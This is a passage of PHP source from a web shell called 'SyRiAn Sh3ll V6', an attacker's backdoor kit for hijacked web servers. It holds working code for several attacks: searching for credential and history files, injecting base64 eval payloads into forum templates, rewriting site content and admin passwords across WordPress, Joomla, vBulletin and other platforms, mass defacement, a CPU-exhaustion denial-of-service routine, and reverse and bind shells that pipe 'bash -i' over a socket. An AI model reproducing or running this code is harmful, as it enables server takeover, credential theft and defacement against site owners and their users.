		&lt;option value='locate config.inc.php'&gt;locate config.inc.php&lt;/option&gt;
		&lt;option value='locate config.default.php'&gt;locate config.default.php files&lt;/option&gt;
		&lt;option value='locate config'&gt;locate config* files &lt;/option&gt;
		&lt;option value='locate \'.conf\''&gt;locate .conf files&lt;/option&gt;
		&lt;option value='locate \'.pwd\''&gt;locate .pwd files&lt;/option&gt;
		&lt;option value='locate \'.sql\''&gt;locate .sql files&lt;/option&gt;
		&lt;option value='locate \'.htpasswd\''&gt;locate .htpasswd files&lt;/option&gt;
		&lt;option value='locate \'.bash_history\''&gt;locate .bash_history files&lt;/option&gt;
		&lt;option value='locate \'.mysql_history\''&gt;locate .mysql_history files&lt;/option&gt;
		&lt;option value='locate \'.fetchmailrc\''&gt;locate .fetchmailrc files&lt;/option&gt;
		&lt;option value='locate backup'&gt;locate backup files&lt;/option&gt;
		&lt;option value='locate dump'&gt;locate dump files&lt;/option&gt;
		&lt;option value='locate priv'&gt;locate priv files&lt;/option&gt;
		&lt;/select&gt;
		&quot;;
	}
}
function GenerateFile($name,$content)
{
	if(function_exists('fopen') &amp;&amp; function_exists('fclose'))
	{
		$file = fopen($name,&quot;w+&quot;);
		if($file)
		{
			if(function_exists('fwrite')){$writeFile = fwrite($file,$content); }	
			else if (function_exists('fputs')){$writeFile = fputs($file,$content); }
			else if (function_exists('file_put_contents')){$writeFile = file_put_contents($file,$content);}
			if(!$writeFile){return false;}
		}
		else{return false;}fclose($file);return true;
	}
}
function which($pr)
{ 
	$path = Exe(&quot;which $pr&quot;);
	if(!empty($path)) { return trim($path); } 
	else {return trim($pr);} 
}
function CSS($sh3llColor)
{
	$css =  &quot;
	&lt;html dir=rtl&gt;
	&lt;head&gt;
	&lt;title&gt;SyRiAn Sh3ll ~ V6~ [ B3 Cr34T!V3 Or D!3 TRy!nG ]&lt;/title&gt;
	&lt;link rel=\&quot;shortcut icon\&quot; href='http://syrian-shell.com/title.gif' /&gt;
	&lt;meta http-equiv=Content-Type content=text/html; charset=windows-1256&gt;
	&lt;style&gt;
	BODY
	{
		FONT-FAMILY: Verdana; 
		margin: 2;
		color: #cccccc;
		background-color: #000000;
	}
	sy  
	{
		color:&quot;.$sh3llColor.&quot;;
		font-size:7pt;
		font-weight: bold;
	}
	#Box
	{
	color:&quot;.$sh3llColor.&quot;;
	font-size:14px;
	background-color:#000;
	font-weight:bold;
	}
	tr 
	{
	BORDER-RIGHT:  #cccccc 1px solid;
	BORDER-TOP:    #cccccc 1px solid;
	BORDER-LEFT:   #cccccc 1px solid;
	BORDER-BOTTOM: #cccccc 1px solid;
	color: #ffffff;
	}
	td 
	{
	BORDER-RIGHT:  #cccccc 1px solid;
	BORDER-TOP:    #cccccc 1px solid;
	BORDER-LEFT:   #cccccc 1px solid;
	BORDER-BOTTOM: #cccccc 1px solid;
	color: #cccccc;
	}
	.table1 
	{
	BORDER: 1px none;
	BACKGROUND-COLOR: #000000;
	color: #333333
	}
	.td1 
	{
	BORDER: 1px none;
	color: #ffffff; font-style:normal; 
	font-variant:normal;
	font-weight:normal;
	font-size:7pt;
	font-family:tahoma
	}
	.tr1 
	{
	BORDER: 1px none;
	color: #cccccc;
	}
	table 
	{
	BORDER:  #eeeeee  outset;
	BACKGROUND-COLOR: #000000;
	color: #cccccc;
	}
	input 
	{
	BORDER-RIGHT:  &quot;.$sh3llColor.&quot; 1px solid;
	BORDER-TOP:    &quot;.$sh3llColor.&quot; 1px solid;
	BORDER-LEFT:   &quot;.$sh3llColor.&quot; 1px solid;
	BORDER-BOTTOM: &quot;.$sh3llColor.&quot; 1px solid;
	BACKGROUND-COLOR: #333333;
	font: 9pt tahoma;
	color: #ffffff;
	}
	select 
	{
	BORDER-RIGHT:  #ffffff 1px solid;
	BORDER-TOP:    #999999 1px solid;
	BORDER-LEFT:   #999999 1px solid;
	BORDER-BOTTOM: #ffffff 1px solid;
	BACKGROUND-COLOR: #000000;
	font: 9pt tahoma;
	color: #CCCCCC;;
	}
	submit 
	{
	BORDER:  1px outset buttonhighlight;
	BACKGROUND-COLOR: #272727;
	width: 40%;
	color: #cccccc;
	}
	textarea 
	{
	BORDER-RIGHT:  #ffffff 1px solid;
	BORDER-TOP:    #999999 1px solid;
	BORDER-LEFT:   #999999 1px solid;
	BORDER-BOTTOM: #ffffff 1px solid;
	BACKGROUND-COLOR: #333333;
	color: #ffffff;
	}
	A:link {COLOR:&quot;.$sh3llColor.&quot;; TEXT-DECORATION: none}
	A:visited { COLOR:&quot;.$sh3llColor.&quot;; TEXT-DECORATION: none}
	A:active {COLOR:&quot;.$sh3llColor.&quot;; TEXT-DECORATION: none}
	A:hover {color:blue;TEXT-DECORATION: none}
	&lt;/style&gt;
	&lt;script&gt;
function ChangeFTP()
{
	if(document.getElementById('ftpType').value= 'upload')
	{document.getElementById('ftpInput').innerHTML = '&lt;input type=\'file\' name=\'file\'&gt;';}
	else if((document.getElementById('ftpType').value= 'download') ||(document.getElementById('ftpType').value= 'deleteFile') ||(document.getElementById('ftpType').value= 'deleteDir') ||(document.getElementById('ftpType').value= 'makeDir') ||(document.getElementById('ftpType').value= 'execute') )
	{document.getElementById('ftpInput').innerHTML = '&lt;input name=\'username\' type=\'text\' id=\'username\' value=\'file\'&gt;';}
	if((document.getElementById('ftpType').value= 'rename') || (document.getElementById('ftpType').value= 'chmod') )
	{document.getElementById('ftpInput').innerHTML += '&lt;input name=\'username3\' type=\'text\' id=\'username3\' value=\'newFile\'&gt;';}
}
function ins(text)
{
	document.nst.chars.value+=text;
	document.nst.chars.focus();
}
function Suicide()
{
	var confirmSuicide = confirm('Are You Sure You Wanna Delete the sh3ll ?');
	if(confirmSuicide == true){document.location='&quot;.currentFileName().&quot;?id=Delete';}
	else{document.location='&quot;.currentFileName().&quot;';}
}
function Blur(id , defalutText)
{
	if( document.getElementById(id).value == ''){document.getElementById(id).value = defalutText;}
}
function Clear(id , defalutText)
{if( document.getElementById(id).value == defalutText){document.getElementById(id).value = '';}}	
function ScriptsType()
{
	if(document.getElementById('ScriptType').value == 'vb')
	{document.getElementById('Prefix').value = '';}
	else if(document.getElementById('ScriptType').value == 'wp')
	{document.getElementById('Prefix').value = 'wp_';}
	else if(document.getElementById('ScriptType').value == 'jos')
	{document.getElementById('Prefix').value = 'jos_';}
	else if(document.getElementById('ScriptType').value == 'phpbb')
	{document.getElementById('Prefix').value = 'phpbb_';}
	else if(document.getElementById('ScriptType').value == 'ipb')
	{document.getElementById('Prefix').value = 'ipb_';}
	else if(document.getElementById('ScriptType').value == 'mybb')
	{document.getElementById('Prefix').value = 'mybb_';}
	else if(document.getElementById('ScriptType').value == 'smf')
	{document.getElementById('Prefix').value = 'smf_';}
}
function evalOrEnc2()
{
	if(document.getElementById('evalOrEnc').value == 'eval')
	{document.getElementById('php_eval').value = '&lt;?php echo \&quot;SyRiAn_Sh3ll V6\&quot;; ?&gt;';}
	else if(document.getElementById('evalOrEnc').value == 'enc')
	{document.getElementById('php_eval').value = 'my String To Encrypt';}	
	else if(document.getElementById('evalOrEnc').value == 'analyze')
	{document.getElementById('php_eval').value = 'c4ca4238a0b923820dcc509a6f75849b';}
	else if(document.getElementById('evalOrEnc').value == 'scan')
	{document.getElementById('php_eval').value = '127.0.0.1';}	
	else if(document.getElementById('evalOrEnc').value == 'genServ')
	{document.getElementById('php_eval').value = '&quot;.addslashes(getcwd()).&quot;';}	
	else if(document.getElementById('evalOrEnc').value == 'sqlScanner')
	{document.getElementById('php_eval').value = 'inurl:php?=id+site';}
	else if(document.getElementById('evalOrEnc').value == 'uploadLFI')
	{document.getElementById('php_eval').value = 'http://site.com/local.php?id=';}
	else if(document.getElementById('evalOrEnc').value == 'DirectUser')
	{document.getElementById('php_eval').value = 'example.com';}
}
function ChangeSQLType()
{
	if(document.getElementById('SQLType').value == 'SQLQuery')
	{document.getElementById('inputType').innerHTML = '&lt;textarea name=\'QU\'  rows=\'4\' cols=\'44\'&gt;SELECT * FROM emp ;&lt;/textarea&gt;';}
	else if (document.getElementById('SQLType').value == 'SQLReader')
	{document.getElementById('inputType').innerHTML = '&lt;input type=\'text\' value=\'/etc/passwd\' name=\'file\' size=\'70\'&gt;&lt;br/&gt;';}	
	else if (document.getElementById('SQLType').value == 'EmailExtractor')
	{document.getElementById('inputType').innerHTML = '&lt;input type =\'text\' name=\'EM_TABLE\' value=\'users Table\' /&gt;  &lt;input type =\'text\' name=\'EM_COLUMN\' value=\'emails Column\' /&gt;  &lt;input type=\'submit\' value=\'?\' name=\'emailExtractorHelp\'  alt=\'Email Extractor Help\'/&gt;&lt;br/&gt;';}
}
function viewPass()
{
	if(document.getElementById('back_select').value == 'perl2')	
	{document.getElementById('view_pass').innerHTML= '&lt;input type=\'text\' name=\'back_pass\' size=\'30\' value=\'password\'&gt;';}
	else {document.getElementById('view_pass').innerHTML= '';}
	
	if(document.getElementById('bind_select').value == 'perl1-linux')	
	{document.getElementById('view_bind_pass').innerHTML= '&lt;input type=\'text\' name=\'bind_pass\' size=\'30\' value=\'password\'&gt;';}
	else {document.getElementById('view_bind_pass').innerHTML= '';}
	if(document.getElementById('bind_select').value == 'c1-linux')	
	{document.getElementById('view_bind_pass').innerHTML= '&lt;input type=\'text\' name=\'bind_pass\' size=\'30\' value=\'password\'&gt;';}
	else {document.getElementById('view_bind_pass').innerHTML= '';}

}
function addUploadInput()
{document.getElementById('uploadInput').innerHTML += '&lt;input type=\'file\' name=\'uploadfile[]\'&gt;';	}	
function hackingTypes()
{
	if(document.getElementById('hackingType').value == 'indexChanger')
	{   
		document.getElementById('InjectShellSpan').innerHTML = '&lt;sy&gt;Inject Sh3ll ? &lt;/sy&gt;&lt;select name=\'injectShell\' id=\'injectShell\' onchange=\'injectShellFunction();\'&gt;&lt;option value=\'no\'&gt;NO&lt;/option&gt;&lt;option value=\'yes\'&gt;YES&lt;/option&gt;&lt;/select&gt;&lt;sy&gt; VBulletin Only ! &lt;/sy&gt;';
		document.getElementById('SHB').innerHTML = '&lt;textarea name=\'INDEX\' rows=\'9\' id=\'theIndex\' cols=\'45\' onblur=\'Blur(\&quot;theIndex\&quot;,\&quot;Put Your Index Here !\&quot;);\' onclick=\'Clear(\&quot;theIndex\&quot;,\&quot;Put Your Index Here !\&quot;);\'  &gt;Put Your Index Here !&lt;/textarea&gt;';
	}
	else if(document.getElementById('hackingType').value == 'changeInfo')
	{
		document.getElementById('InjectShellTypeSpan').innerHTML = '';
		document.getElementById('InjectShellSpan').innerHTML = '';
		document.getElementById('SHB').innerHTML = '&lt;input name=\'adminID\' type=\'text\' id=\'adminID\' value=\'admin id ~= 1\'  onblur=\'Blur(\&quot;adminID\&quot;,\&quot;admin id ~= 1\&quot;);\' onclick=\'Clear(\&quot;adminID\&quot;,\&quot;admin id ~= 1\&quot;);\' &gt;&lt;input name=\'userName\' type=\'text\' id=\'userName\' value=\'username\'  onblur=\'Blur(\&quot;userName\&quot;,\&quot;username\&quot;);\' onclick=\'Clear(\&quot;userName\&quot;,\&quot;username\&quot;);\' &gt;&lt;input name=\'password\' type=\'text\' id=\'password\' value=\'password ( Not Encrypted !)\'  onblur=\'Blur(\&quot;password\&quot;,\&quot;password ( Not Encrypted !)\&quot;);\' onclick=\'Clear(\&quot;password\&quot;,\&quot;password ( Not Encrypted !)\&quot;);\' &gt;';
	}
	else if(document.getElementById('hackingType').value == 'decrypt')
	{
		document.getElementById('InjectShellTypeSpan').innerHTML = '';
		document.getElementById('InjectShellSpan').innerHTML = '';
		document.getElementById('SHB').innerHTML = '';
	}
}
function injectShellFunction()
{
	if(document.getElementById('injectShell').value == 'yes')
	{
		document.getElementById('InjectShellTypeSpan').innerHTML = '&lt;select name=\'injectShellType\'&gt;&lt;option value=\'faq\'&gt;FAQ&lt;/option&gt;&lt;option value=\'search\'&gt;Search&lt;/option&gt;&lt;option value=\'calendar\'&gt;Calendar&lt;/option&gt;&lt;/select&gt;';
	}
	else {document.getElementById('InjectShellTypeSpan').innerHTML = '';}
}
function ChangeInputs()
{
	if(document.getElementById('actionType').value == 'rename')
	{document.getElementById('newName').innerHTML = '&lt;input type=\&quot;text\&quot; name=\&quot;newName\&quot; value=\&quot;newName.txt\&quot; size=\&quot;25\&quot; /&gt; ';	}
	else if (document.getElementById('actionType').value == 'copy')
	{document.getElementById('newName').innerHTML = '&lt;input type=\&quot;text\&quot; name=\&quot;newName\&quot; value=\&quot;CopyName.txt\&quot; size=\&quot;25\&quot; /&gt; ';	}
	else if (document.getElementById('actionType').value == 'createFile')
	{document.getElementById('newName').innerHTML = '&lt;input type=\&quot;text\&quot; name=\&quot;newName\&quot; value=\&quot;File Content\&quot; size=\&quot;25\&quot; /&gt; ';	}
	else{document.getElementById('newName').innerHTML = '';}
	
	if(document.getElementById('actionType').value == 'deleteFolder' || document.getElementById('actionType').value == 'createFolder')
	{document.getElementById('editFile').value = 'folderName';}
	else{document.getElementById('editFile').value = 'index.txt';}
}
	&lt;/script&gt;
	&lt;/head&gt;&quot;;
	if($_GET['id'] == '' &amp;&amp; $_GET['info'] == ''){$css .=  &quot;&lt;script&gt;window.location = '?id=mainPage';&lt;/script&gt;&quot;;}
	return $css;
}
function Logout()
{
	print &quot;&lt;script&gt;
	document.cookie='user=';
	document.cookie='pass=';
	var url = window.location.pathname;
	var filename = url.substring(url.lastIndexOf('/')+1);
	window.location=filename;
	&lt;/script&gt;&quot;;
}
function About()
{
	$about = &quot;
&lt;table bgcolor=#cccccc width=\&quot;100%\&quot;&gt;
&lt;tbody&gt;&lt;tr&gt;&lt;td width=1025&gt;
&lt;div align=center&gt;&lt;img src='http://www.library-ar.com/cache/eagle.jpg' alt='SyRiAn Sh3ll'&gt;&lt;br&gt;
&lt;/div&gt;
&lt;sy&gt;&lt;div align=center&gt;Coded By :  EH &lt;&lt; SyRiAn | 34G13&lt;/div&gt;&lt;/sy&gt;
&lt;sy&gt;&lt;div align=center&gt;From &lt;/font&gt;: SyRiAn Arabic Republic  &lt;/div&gt;&lt;/sy&gt;
&lt;sy&gt;&lt;div align=center&gt;Age : 4/1991&lt;br&gt;&lt;/div&gt;&lt;/sy&gt;
&lt;sy&gt;&lt;div align=center&gt;Thanx : [ Allah ] [ HaniWT ] [ SyRiAn_SnIpEr ] [ SyRiAn_SpIdEr ] [ TNT Hacker ]&lt;/div&gt;&lt;/sy&gt;
&lt;sy&gt;&lt;div align=center&gt;Thanx : my school : [ www.google.com ] :)&lt;/div&gt;&lt;/sy&gt;
&lt;sy&gt;&lt;br&gt;&lt;div align=center&gt;B3 Cr34T!V3 0R D!3 TRy!nG &lt;/div&gt;&lt;/sy&gt;
&lt;br/&gt;
&lt;center&gt;
&lt;br/&gt;
 &lt;form method='post' action=''&gt;&quot;;
    $ipi = getenv(&quot;REMOTE_ADDR&quot;);
    $httprefi = getenv (&quot;HTTP_REFERER&quot;);
    $httpagenti = getenv (&quot;HTTP_USER_AGENT&quot;);
 $about .= '
    &lt;input type=&quot;hidden&quot; name=&quot;ip&quot; value=&quot;&lt;?php echo $ipi ?&gt;&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;httpref&quot; value=&quot;&lt;?php echo $httprefi ?&gt;&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;httpagent&quot; value=&quot;&lt;?php echo $httpagenti ?&gt;&quot; /&gt;
    &lt;input type=&quot;text&quot; id=&quot;Your Name&quot; name=&quot;visitor&quot; size=&quot;35&quot; value=&quot;Your Name&quot; onblur=&quot;Blur(\'Your Name\',\'Your Name\');&quot; onclick=&quot;Clear(\'Your Name\',\'Your Name\');&quot;/&gt;&lt;br /&gt;
    &lt;input type=&quot;text&quot; id=&quot;Email&quot; name=&quot;visitormail&quot; size=&quot;35&quot; value=&quot;Email&quot; onblur=&quot;Blur(\'Email\',\'Email\');&quot; onclick=&quot;Clear(\'Email\',\'Email\');&quot; /&gt;&lt;br /&gt; 
    &lt;textarea name=&quot;notes&quot; id=&quot;messageText&quot; rows=&quot;7&quot; cols=&quot;25&quot; onblur=&quot;Blur(\'messageText\',\'Mail Message\');&quot; onclick=&quot;Clear(\'messageText\',\'Mail Message\');&quot;&gt;Mail Message&lt;/textarea&gt;&lt;br /&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Send Mail&quot; name=&quot;sendEmail&quot; /&gt;&lt;br /&gt;
    &lt;/form&gt;
	';
return $about;
}
function Connect_Host($url) 
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_FOLLOW, 0);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$data = curl_exec($ch);
	if($data) {return $data;} 
	else {return 0;}
}
function UpdatingIndex($scriptType,$index,$prefix,$injectShellType)
{
	if ($scriptType == 'vb')
	{
		$vb_index  = &quot;{\${eval(base64_decode(\'&quot;;
		$vb_index .= base64_encode(&quot;echo \&quot;$index\&quot;;&quot;);
		$vb_index .= &quot;\'))}}{\${exit()}}&lt;/textarea&gt;&quot;;
		if($injectShellType == 'faq')
		{
			$shell = mysql_query(&quot;UPDATE template SET template ='&quot;.$vb_index.&quot;' WHERE title ='faq'&quot;);
		}
		else if($injectShellType == 'calendar')
		{
			$shell = mysql_query(&quot;UPDATE template SET template ='&quot;.$vb_index.&quot;' WHERE title ='calendar'&quot;);
		}
		else if($injectShellType == 'search')
		{
			$shell = mysql_query(&quot;UPDATE template SET template ='&quot;.$vb_index.&quot;' WHERE title ='search'&quot;);
		}
		else 
		{
			$ok1 = mysql_query(&quot;UPDATE template SET template ='&quot;.$vb_index.&quot;' WHERE title ='forumhome'&quot;);
			if (!$ok1)
			{$ok2 = mysql_query(&quot;UPDATE template SET template ='&quot;.$vb_index.&quot;' WHERE title ='header'&quot;);}
			elseif (!$ok2)
			{$ok3 = mysql_query(&quot;UPDATE template SET template ='&quot;.$vb_index.&quot;' WHERE title ='spacer_open'&quot;); }
		}
		mysql_close();
		if ($ok1 || $ok2 || $ok3 || $shell){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
	}
	else if ($scriptType == 'wp')
	{
		$tableName = $prefix.&quot;posts&quot; ;
		$ok1 = mysql_query(&quot;UPDATE $tableName SET post_title ='&quot;.$index.&quot;' WHERE ID &gt; 0 &quot;);
		if(!$ok1)
		{$ok2 = mysql_query(&quot;UPDATE $tableName SET post_content ='&quot;.$index.&quot;' WHERE ID &gt; 0 &quot;); }
		elseif(!$ok2)
		{$ok3 = mysql_query(&quot;UPDATE $tableName SET post_name ='&quot;.$index.&quot;' WHERE ID &gt; 0 &quot;); }
		mysql_close();
		if ($ok1 || $ok2 || $ok3){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
	}
	else if ($scriptType == 'jos')
	{
		$jos_table_name = $prefix.&quot;menu&quot; ;
		$jos_table_name2 = $prefix.&quot;modules&quot; ;
		$ok1 = mysql_query(&quot;UPDATE $jos_table_name SET name ='&quot;.$index.&quot;' WHERE ID &gt; 0 &quot;);
		if(!$ok1)
		{$ok2 = mysql_query(&quot;UPDATE $jos_table_name2 SET title ='&quot;.$index.&quot;' WHERE ID &gt; 0 &quot;);}
		mysql_close();
		if ($ok1 || $ok2 || $ok3){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
	}
	else if ($scriptType == 'phpbb')
	{
		$php_table_name = $prefix.&quot;forums&quot;;
		$php_table_name2 = $prefix.&quot;posts&quot;;
		$ok1 = mysql_query(&quot;UPDATE $php_table_name SET forum_name ='&quot;.$index.&quot;' WHERE forum_id &gt; 0 &quot;);
		if(!$ok1)
		{$ok2 = mysql_query(&quot;UPDATE $php_table_name2 SET post_subject ='&quot;.$index.&quot;' WHERE post_id &gt; 0 &quot;); }
		mysql_close();
		if ($ok1 || $ok2 || $ok3){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
	}
	else if ($scriptType == 'ipb')
	{
		$ip_table_name = $prefix.&quot;components&quot; ;
		$ip_table_name2 = $prefix.&quot;forums&quot; ;
		$ip_table_name3 = $prefix.&quot;posts&quot; ;
		$ok1 = mysql_query(&quot;UPDATE $ip_table_name SET com_title ='&quot;.$index.&quot;' WHERE com_id &gt; 0&quot;);
		if(!$ok1)
		{$ok2 = mysql_query(&quot;UPDATE $ip_table_name2 SET name ='&quot;.$index.&quot;' WHERE id  &gt; 0&quot;); }
		if(!$ok2)
		{
			$ok3 = mysql_query(&quot;UPDATE $ip_table_name3 SET post  ='&quot;.$index.&quot;' WHERE pid &lt;10&quot;)  or die(&quot;Can't Update Templates !!&quot;); 
		}
		mysql_close();
		if ($ok1 || $ok2 || $ok3){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
	}
	else if ($scriptType == 'smf')
	{
		$table_name = $prefix.&quot;boards&quot; ;
		{$ok1 = mysql_query(&quot;UPDATE $table_name SET description ='&quot;.$index.&quot;' WHERE ID_BOARD &gt; 0&quot;);}
		if(!$ok1){$ok2 = mysql_query(&quot;UPDATE $table_name SET name ='&quot;.$index.&quot;' WHERE ID_BOARD &gt; 0&quot;);}
		mysql_close();
		if ($ok1 || $ok2){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
	}
	else if ($scriptType == 'mybb')
	{
		$mybb_prefix = $prefix.&quot;templates&quot;;
		$ok = mysql_query(&quot; update $mybb_prefix set template='&quot;.$index.&quot;' where title='index' &quot;);
		if ($ok){update();}
		else {echo &quot;Updating Has Failed !&quot;;}
		mysql_close();
	}
}
function AutoUpdateIndex()
{	
	getConfigInfo($ScriptType);
	DBConnect($host,$user,$pass,$dbName);
	UpdatingIndex($ScriptType,$index,$prefix,$injectFAQ);
}
function changeInfo($ScriptType,$adminID,$userName,$password)
{
				if($ScriptType == 'vb')
				{
					//VB Code
					$password = md5($password);
					$tryChaningInfo = mysql_query(&quot;UPDATE user SET username = '&quot;.$userName.&quot;' , password = '&quot;.$password.&quot;' WHERE userid = &quot;.$adminID.&quot;&quot;);
					if($tryChaningInfo)
					{update();}
					else {echo &quot;Error !!&quot;;}
				}
				else if($ScriptType == 'wp')
					{
						//WoredPress
						$password = crypt($password); 
						$tryChaningInfo = mysql_query(&quot;UPDATE wp_users SET user_login = '&quot;.$userName.&quot;' , user_pass = '&quot;.$password.&quot;' WHERE ID = &quot;.$adminID.&quot;&quot;);
						if($tryChaningInfo)
						{update();}
						else {mysql_error();}
					}
					else if($ScriptType == 'jos')
					{
						//Joomla 
						$password = crypt($password); 
						$tryChaningInfo = mysql_query(&quot;UPDATE jos_users SET username ='&quot;.$userName.&quot;' , password = '&quot;.$password.&quot;' WHERE ID = &quot;.$adminID.&quot;&quot;);
						if($tryChaningInfo)
						{update();}
						else {mysql_error();}
					}
						else if($ScriptType == 'phpbb')
						{
							//PHPBB3
							$password = md5($password); 
							$tryChaningInfo = mysql_query(&quot;UPDATE phpbb_users SET username ='&quot;.$userName.&quot;' , user_password = '&quot;.$password.&quot;' WHERE user_id = &quot;.$adminID.&quot;&quot;);
							if($tryChaningInfo)
							{update();}
							else {mysql_error();}
						}
							else if($ScriptType == 'ibf')
							{
								//IPBoard 
								$password = md5($password); 
								$tryChaningInfo = mysql_query(&quot;UPDATE ibf_members SET name ='&quot;.$userName.&quot;' , member_login_key = '&quot;.$password.&quot;' WHERE id = &quot;.$adminID.&quot;&quot;);
								if($tryChaningInfo)
								{update();}
								else {mysql_error();}
							}
								else if($ScriptType == 'smf')
								{
									//SMF
									$password = md5($password); 
									$tryChaningInfo = mysql_query(&quot;UPDATE smf_members SET memberName ='&quot;.$userName.&quot;' , passwd = '&quot;.$password.&quot;' WHERE ID_MEMBER = &quot;.$adminID.&quot;&quot;);
									if($tryChaningInfo)
									{update();}
									else {mysql_error();}
								}
									else if($ScriptType == 'mybb')
									{
										//MyBB
										$password = md5($password); 
										$tryChaningInfo = mysql_query(&quot;UPDATE mybb_users SET username ='&quot;.$userName.&quot;' , password = '&quot;.$password.&quot;' WHERE uid = &quot;.$adminID.&quot;&quot;);
										if($tryChaningInfo)
										{update();}
										else {mysql_error();}
									}
}
function UnZip($fileName,$currentPath)
{
	if(class_exists('ZipArchive'))
	{
		$zip = new ZipArchive;
		$res = $zip-&gt;open($fileName);
		if ($res === TRUE) {$zip-&gt;extractTo($currentPath);$zip-&gt;close();} 
	}
	else{$extractCom = 'unzip '.$fileName;Exe($extractCom);}
}
function ZipFile($fileName,$path)
{
	$path = $path.&quot;\\&quot;.$fileName;
	$zip = new ZipArchive;
	if ($zip-&gt;open($fileName) === TRUE) 
	{
		$zip-&gt;addFile($path,$fileName);
		$zip-&gt;addFile($path,$fileName);
		$zip-&gt;close();
	}
	if(!$zip){$zip = Exe('gzip '.$fileName);}
	if($zip){return true;}else{return false;}
}
function _mysql_all_fields($result)
{
  $fields = Array();
  for ($i = 0; $i &lt; mysql_num_fields($result); $i++)
  {array_push($fields, mysql_field_name($result, $i));}
  return $fields;
}
function massDefacement($addres,$massname,$masssource)
{
	$slash=&quot;\\&quot;;
	$idd=0;
	if ($dirhen = opendir($addres)) 
    {
		GenerateFile($massname,$masssource);
        while ($file = readdir($dirhen)) 
        {
			$permdir = str_replace('//','/',$addres.$slash.$file);
			if($file!='.' &amp;&amp; $file!='..' &amp;&amp; is_dir($permdir))
			{
				if (is_writable($permdir)) 
				{
                    if ($fm=fopen($permdir.$slash.$massname,&quot;w&quot;))
                    {
                        fwrite($fm,$masssource);
                        fclose($fm);
                        $dirdata[$idd]['filename']=$permdir; 
                    }
					$idd++;
				}
				massDefacement($permdir);
			}
		}
		closedir($dirhen);
	} 
    else {return (&quot;notperm&quot;);}
	if ($dirdata){return $dirdata;}
    else{return &quot;notfound&quot;;}
}
function dosserver()
{
	$junk=str_repeat(&quot;99999999999999999999999999999999999999999999999999&quot;,99999);
	for($i=0;$i&lt;2;)
	{
		$buff=bcpow($junk, '3', 2);
		$buff=null;
	}
}
function cx()
{cx();}
function DB_NET_GET_SOCKET_PROTOCOL($prot) 
{
	switch($prot) {
		case &quot;udp&quot;:
			$protocol = SOL_UDP;
			$socktype = SOCK_DGRAM;
		break;
		case &quot;tcp&quot;:
		default:
			$protocol = SOL_TCP;
			$socktype = SOCK_STREAM;
		break;
	}
	return(array($protocol, $socktype));
}
function DB_NET_CONNECT($hostname, $port=80, $prot=&quot;tcp&quot;) 
{
	$address = gethostbyname($hostname);
	list($protocol, $socktype) = DB_NET_GET_SOCKET_PROTOCOL($prot);
	switch($prot) {
		case &quot;udp&quot;:
			$protocol = SOL_UDP;
			$socktype = SOCK_DGRAM;
		break;
		case &quot;tcp&quot;:
		default:
			$protocol = SOL_TCP;
			$socktype = SOCK_STREAM;
		break;
	}
	$socket = socket_create(AF_INET, $socktype, $protocol);
	if ($socket &lt; 0) {
		echo &quot;socket_create() failed: reason: &quot; . socket_strerror($socket) . &quot;\n&quot;;
	}
	$result = socket_connect($socket, $address, $port);
	if ($result &lt; 0) {
		echo &quot;socket_connect() failed.\nReason: ($result) &quot; . socket_strerror($result) . &quot;\n&quot;;
	}
	return $socket;
}
function DB_NET_LISTEN($address, $port) 
{
	if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) &lt; 0) {
		echo &quot;socket_create() failed: reason: &quot; . socket_strerror($sock) . &quot;\n&quot;;
		return(-1);
	}
	if (($ret = socket_bind($sock, $address, $port)) &lt; 0) {
		echo &quot;socket_bind() failed: reason: &quot; . socket_strerror($ret) . &quot;\n&quot;;
		return(-2);
	}
	if (($ret = socket_listen($sock, 5)) &lt; 0) {
		echo &quot;socket_listen() failed: reason: &quot; . socket_strerror($ret) . &quot;\n&quot;;
		return(-3);
	}
	return($sock);
}
function DB_Shell($type, $shell, $port, $host) 
{
	$shell = 'export TERM=xterm; bash -i';
	if($type == &quot;cb&quot;) 
	{$procsock = DB_NET_CONNECT($host, $port, &quot;tcp&quot;);} 
	elseif ($type == &quot;pb&quot;) 
	{
		$lsock = DB_NET_LISTEN($host, $port);
		if (($procsock = socket_accept($lsock)) &lt; 0)
		{return &quot;socket_accept() failed: reason: &quot; . socket_strerror($procsock) . &quot;\n&quot;;}
	}
	else {return &quot;Error no connection details specified!&quot;;}

	set_time_limit(9000);
	$descriptorspec = array(
		0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),
		1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),
		2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)
	);
	$process = proc_open($shell, $descriptorspec, $pipes);
	if (is_resource($process)) {
		$tmp_loop = 1;
		do {
			$tmp_array = array($procsock);
			$num_changed_sockets = socket_select($tmp_array, $write = NULL, $except = NULL, 0);
			if ($num_changed_sockets === false) {
				$tmp_loop = 0;
			} else if ($num_changed_sockets &gt; 0) {
				foreach($tmp_array as $k =&gt; $v) {
					if($v == $procsock) {
						if(socket_last_error($procsock) &gt; 0) $tmp_loop = 0;
						if($tmp_loop == 1 &amp;&amp; false == ($buf = socket_read($procsock, 2048, PHP_NORMAL_READ))) $tmp_loop = 0;
						fwrite($pipes[0], $buf);
					}
				}
			}
			$tmp_arrayS = array($pipes[1], $pipes[2]);
			$num_changed_streams = stream_select($tmp_arrayS, $write = NULL, $except = NULL, 0);
			if ($num_changed_streams === FALSE) {
				$tmp_loop = 0;
			} else if ($num_changed_streams &gt; 0) {
				foreach($tmp_arrayS as $k =&gt; $v) {
					if($tmp_loop == 1 &amp;&amp; false == ($buf = fread($v, 2048))) $tmp_loop = 0;
					socket_write($procsock, $buf, strlen($buf));
				}
			}
		} 
		while($tmp_loop == 1);
	} 
	else {return &quot;Error executing shell &quot; . $shell;}
}
function connect_back_C($tmp_dir = '/tmp', $compiler = 'gcc', $host, $port) 
{
